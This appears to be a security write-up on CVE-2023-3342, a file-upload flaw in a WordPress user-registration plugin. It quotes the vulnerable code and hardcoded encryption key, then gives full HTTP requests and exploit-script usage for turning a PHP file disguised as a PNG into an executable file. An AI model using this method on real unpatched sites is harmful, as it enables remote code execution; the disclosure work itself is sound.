Headline
CVE-2023-3342: User Registration by WPEverest WordPess plugin Arbitrary File Upload
The User Registration plugin for WordPress is vulnerable to arbitrary file uploads due to a hardcoded encryption key and missing file type validation on the ‘ur_upload_profile_pic’ function in versions up to, and including, 3.0.2. This makes it possible for authenticated attackers with subscriber-level capabilities or above to upload arbitrary files on the affected site’s server which may make remote code execution possible. This was partially patched in version 3.0.2 and fully patched in version 3.0.2.1.
The plugin was affected by an Arbitrary File Upload vulnerability. Due to a hardcoded encryption key and a missing file type validation, it is even possible to upload a php file to the website.
Let’s check the plugin
The profile_pic_upload() method in the UR_AJAX class includes the following code for image upload:
if ( isset( $_FILES['file']['size'] ) && wp_unslash( sanitize_key( $_FILES['file']['size'] ) ) ) {
if ( ! function_exists( 'wp_handle_upload' ) ) {
include_once ABSPATH . 'wp-admin/includes/file.php';
}
$upload = isset( $_FILES['file'] ) ? $_FILES['file'] : array(); // phpcs:ignore
// valid extension for image.
$valid_extensions = 'image/jpeg,image/gif,image/png';
$form_id = ur_get_form_id_by_userid( $user_id );
if ( class_exists( 'UserRegistrationAdvancedFields' ) ) {
$field_data = ur_get_field_data_by_field_name( $form_id, 'profile_pic_url' );
$valid_extensions = isset( $field_data['advance_setting']->valid_file_type ) ? implode( ', ', $field_data['advance_setting']->valid_file_type ) : $valid_extensions;
}
$valid_extension_type = explode( ',', $valid_extensions );
$valid_ext = array();
foreach ( $valid_extension_type as $key => $value ) {
$image_extension = explode( '/', $value );
$valid_ext[ $key ] = isset( $image_extension[1] ) ? $image_extension[1] : '';
if ( 'jpeg' === $valid_ext[ $key ] ) {
$index = count( $valid_extension_type );
$valid_ext[ $index ] = 'jpg';
}
}
$src_file_name = isset( $upload['name'] ) ? $upload['name'] : '';
$file_extension = strtolower( pathinfo( $src_file_name, PATHINFO_EXTENSION ) );
// Validates if the uploaded file has the acceptable extension.
if ( ! in_array( $file_extension, $valid_ext ) ) {
wp_send_json_error(
array(
'message' => __( 'Invalid file type, please contact with site administrator.', 'user-registration' ),
)
);
}
$upload_path = ur_get_tmp_dir();
// Checks if the upload directory has the write premission.
if ( ! wp_is_writable( $upload_path ) ) {
wp_send_json_error(
array(
'message' => __( 'Upload path permission deny.', 'user-registration' ),
)
);
}
$upload_path = $upload_path . '/';
$file_name = wp_unique_filename( $upload_path, $upload['name'] );
$file_path = $upload_path . sanitize_file_name( $file_name );
if ( move_uploaded_file( $upload['tmp_name'], $file_path ) ) {
$files = array(
'file_name' => $file_name,
'file_path' => $file_path,
'file_extension' => $file_extension,
);
$attachment_id = wp_rand();
ur_clean_tmp_files();
$url = UR_UPLOAD_URL . 'temp-uploads/' . sanitize_file_name( $file_name );
wp_send_json_success(
array(
'attachment_id' => $attachment_id,
'upload_files' => crypt_the_string( maybe_serialize( $files ), 'e' ),
'url' => $url,
)
);
} else {
wp_send_json_error(
array(
'message' => __( 'File cannot be uploaded.', 'user-registration' ),
)
);
}
}
This is an common image upload solution that uploads the file to the UR_UPLOAD_URL . ‘temp-uploads/’ folder. It is uploaded to the temp folder because the ajax function only uploads the image to the website, but in order to set the uploaded image as a profile image, the user profile must be updated separately.
The file upload reponse will be json like this:
{
"success": true,
"data": {
"attachment_id": 3642301417,
"upload_files": "RDN2T1VCZzh0c3l6UktucnljcHNDQ0c3RUpDakVPTGR0eElQdmh5L0hRVDd2Q2hWYWdqME9ROVVtc3h6ZlU3ZVFtQlNVbEEyTyt3ZmdTQVJVMVlBRXlvQU8ralV4OWxkTTVuMHJrMFZsYTZUUVNpbXZTaHFSVFg1cGpjWnFUTUo4Z2U0VFN6R3Z4TjYxaXNBZzRCQ1lDYWk1V09MTGQ0K1grYnlVSWxOUTMrM2szSHJ4RHN3TDhsTGlMYWJhWVArdWh4MlNMY2VTVnlJSHpMZFdsdFdDUnhzSUlzaWZVTVJ4bDRoMHlZMVMrTCtDUjBHT25sSlNSaVdGT3l2VEowUVR6T2dlbDB3Z2l3ZkMzbVlteER1c0Qxem83WjZQeHQyUDQ2R0tHWnZNeWc9",
"url": "https:\/\/lana.solutions\/vdb\/wpeverest-user-registration\/wp-content\/uploads\/user_registration_uploads\/temp-uploads\/exploit.png"
}
}
The upload_files contains contains the data of the uploaded file encrypted.
The purpose of encryption is to prevent unauthorized access to the data during profile updates (since the data is generated by the website in this case). It is only possible to decrypt and view the data using the correct encryption key, which should ideally be unique and kept confidential for each website. This means that the user should not know the encryption key (also referred to as the passphrase), and therefore cannot decrypt and view the data.
The crypt_the_string() function includes the following encrytion and decryption method, the action depends on the function parameter:
function crypt_the_string( $string, $action = 'e' ) {
$secret_key = 'ur_secret_key';
$secret_iv = 'ur_secret_iv';
$output = false;
$encrypt_method = 'AES-256-CBC';
$key = hash( 'sha256', $secret_key );
$iv = substr( hash( 'sha256', $secret_iv ), 0, 16 );
if ( 'e' == $action ) {
if ( function_exists( 'openssl_encrypt' ) ) {
$output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) );
} else {
$output = base64_encode( $string );
}
} elseif ( 'd' == $action ) {
if ( function_exists( 'openssl_decrypt' ) ) {
$output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv );
} else {
$output = base64_decode( $string );
}
}
return $output;
}
As we can see passphrase and iv are hardcoded in the function.
If we use the crypt_the_string() function to decrypt upload_files, then we get a serialized array, and when we deserialized it, the content will be something like this:
file_name: exploit.png
file_path: /var/www/wp-content/uploads/user_registration_uploads/temp-uploads/exploit.png
file_extension: png
As you can see, this contains the file name, path and extension.
This also means that the file has been successfully uploaded, as we can see the file path. Which is currently in the temp folder.
After that, we can save the profile picture with the profile details save function.
The user_registration_before_save_profile_details() method in the UR_Frontend class contains the following code:
ur_upload_profile_pic( $valid_form_data, $user_id );
The ur_upload_profile_pic() function includes the following code for save the profile picture:
$upload_path = UR_UPLOAD_PATH . 'profile-pictures'; /*Get path of upload dir of User Registration for profile pictures*/
$upload = maybe_unserialize( crypt_the_string( $upload_file, 'd' ) );
if ( isset( $upload['file_name'] ) && isset( $upload['file_path'] ) && isset( $upload['file_extension'] ) ) {
$upload_path = $upload_path . '/';
$file_name = wp_unique_filename( $upload_path, $upload['file_name'] );
$file_path = $upload_path . sanitize_file_name( $file_name );
// Check the type of file. We'll use this as the 'post_mime_type'.
$filetype = wp_check_filetype( basename( $file_name ), null );
$moved = rename( $upload['file_path'], $file_path );
if ( $moved ) {
$attachment_id = wp_insert_attachment(
array(
'guid' => $file_path,
'post_mime_type' => $filetype['type'],
'post_title' => preg_replace( '/\.[^.]+$/', '', sanitize_file_name( $file_name ) ),
'post_content' => '',
'post_status' => 'inherit',
),
$file_path
);
if ( ! is_wp_error( $attachment_id ) ) {
include_once ABSPATH . 'wp-admin/includes/image.php';
// Generate and save the attachment metas into the database.
wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file_path ) );
}
}
}
As we can see, this decrypts the $upload_file and then moves and renames the uploaded file in the temp folder to the $upload_path folder using the rename() function. There is a wp_check_filetype() function in the code, but the file extension is not checked before renaming, which means that we can rename our png image file to any file.
Let’s see how we can exploit this vulnerability
How the exploit works step by step:
- Register a user
- Log in to the user
- Upload the malicious exploit.png image file
- Retrieve the encrypted file data from the response
- Decrypt the file data
- Modify the file extension to php in the file name
- Encrypt the file data
- Save the profile with the encrypted and modified file data
Since the encryption key is hardcoded, we can decrypt, modify and encrypt the file data.
The file exploit.png contains the following code:
<?php
echo 'md5("exploit"): ' . md5( 'exploit' );
As we can see, this is a php file that we saved with png extension.
Upload the file with the following HTTP request:
POST /vdb/wpeverest-user-registration/wp-admin/admin-ajax.php?action=user_registration_profile_pic_upload&security=788a0a823e HTTP/1.1
Host: lana.solutions
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryLanaCodes
--WebKitFormBoundaryLanaCodes
Content-Disposition: form-data; name="file"; filename="exploit.png"
Content-Type: image/png
<?php
echo 'md5("exploit"): ' . md5( 'exploit' );
--WebKitFormBoundaryLanaCodes--
The response will be a json containing the encrypted upload_files. We have to decrypt it with the php function using the hardcoded encryption key, which returns a serialized array, something like this:
file_name: exploit.png
file_path: /var/www/wp-content/uploads/user_registration_uploads/temp-uploads/exploit.png
file_extension: png
It is important to change the extension only in file name in the deserialized array:
file_name: exploit.png needs to be changed to exploit.php
Then we have to encrypt the modified upload_files.
Save the profile with the following HTTP request:
POST /vdb/wpeverest-user-registration/wp-admin/admin-ajax.php HTTP/1.1
Host: lana.solutions
Content-Type: application/x-www-form-urlencoded
action=save_profile_details&_wpnonce=63c08e3e46&user_registration_user_login=demo&profile_pic_url=RDN2T1VCZzh0c3l6UktucnljcHNDQ0c3RUpDakVPTGR0eElQdmh5L0hRUnI4cWVmYVF1N0VEcWYvSG9VbjJFWUdDOHg5Qmh4VmN1eGdWREdFVDJ5RjRUZ0FCcjdtaTgrTEtRaGxSRWRFaDNWb1ZkdFJZYUFxMTJmQkcwMUQ3aVRNYVlML09iZFBUNWZkYWxhV1FzcVVlYWtLWlBpR2dCK2hHcmxhc2gzeWZLb0VMcmRxUmRuajBpY0Vaa2JLY0VRMXZQU2ZHcHJ1ZkRTN2RqTzRZWTNsUm54YjlYZzUwa1J6Vm14Um1TQVB6WWZ6VlhaTGtnZXJKcXhxeVdVa0lQVVNiSjlHUTBVb29iUTdjcVpleVJpbktZZC9UczdTSTlsZ1l5MWdrMDhzZG89
The profile_pic_url will be the modified and encrypted upload_files.
This exploit renames and moves the file, which we can access using a browser.
This is how the exploit works:
The exploit script
I created a PHP script that uploads the exploit php file:
Source: wpeverest_user_registration_upload_php_file_exploit.php
How to use:
php wpeverest_user_registration_upload_php_file_exploit.php --website_url="https://lana.solutions/vdb/wpeverest-user-registration/" --username="demo" --password="demo"
We get something like this:
The file exists and contains the exploit.
We can also check the file using a browser by opening the following link: https://lana.solutions/vdb/wpeverest-user-registration/wp-content/uploads/user_registration_uploads/profile-pictures/exploit.php
Try it
Feel free to try and use the lana.solutions/vdb WordPress websites for testing. I set that only the php file in the exploit script can be uploaded. So all php files with other content are prohibited.
Website: https://lana.solutions/vdb/wpeverest-user-registration/
Username: demo
Password: demo
Related news
All-In-One Security (AIOS), a WordPress plugin installed on over one million sites, has issued a security update after a bug introduced in version 5.1.9 of the software caused users' passwords being added to the database in plaintext format. "A malicious site administrator (i.e. a user already logged into the site as an admin) could then have read them," UpdraftPlus, the maintainers of AIOS,
The User Registration plugin for WordPress is vulnerable to arbitrary file uploads due to a hard-coded encryption key and missing file type validation on the ur_upload_profile_pic function in versions up to, and including, 3.0.2. This makes it possible for authenticated attackers with subscriber-level capabilities or above to upload arbitrary files on the affected site's server which may make remote code execution possible. This was partially patched in version 3.0.2 and fully patched in version 3.0.2.1.